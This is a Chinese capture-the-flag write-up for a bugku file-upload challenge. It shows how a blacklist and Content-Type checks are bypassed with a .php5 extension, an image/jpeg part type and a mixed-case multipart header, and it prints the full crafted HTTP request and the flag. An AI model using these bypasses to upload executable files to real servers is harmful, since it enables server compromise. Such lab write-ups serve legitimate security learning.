bugku-求getshell

原题链接

http://120.24.86.145:8002/web9/

分析

上传题:
一共三个过滤

  • 请求头部的 Content-Type
  • 文件后缀
  • 请求数据的Content-Type

这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过

接下来,请求数据的Content-Type字段改为 image/jpeg

但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: mULtipart/form-data;

最终修改后的数据包为:

POST /web9/index.php HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://120.24.86.145:8002/web9/index.php
Content-Type: mULtipart/form-data;  boundary=---------------------------4827543632391   #修改大小写绕过
Content-Length: 319
Cookie: PHPSESSID=ediihlqlvkd342nl97k5i7s1e4jjfcgh
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------4827543632391
Content-Disposition: form-data; name="file"; filename="vv.php5"     #php5文件后缀没有过滤
Content-Type: image/jpeg        #文件格式修改为图片形式


-----------------------------4827543632391
Content-Disposition: form-data; name="submit"

Submit
-----------------------------4827543632391--

flag

KEY{bb35dc123820e}

知识点

上传漏洞,过滤

你可能感兴趣的:(bugku-求getshell)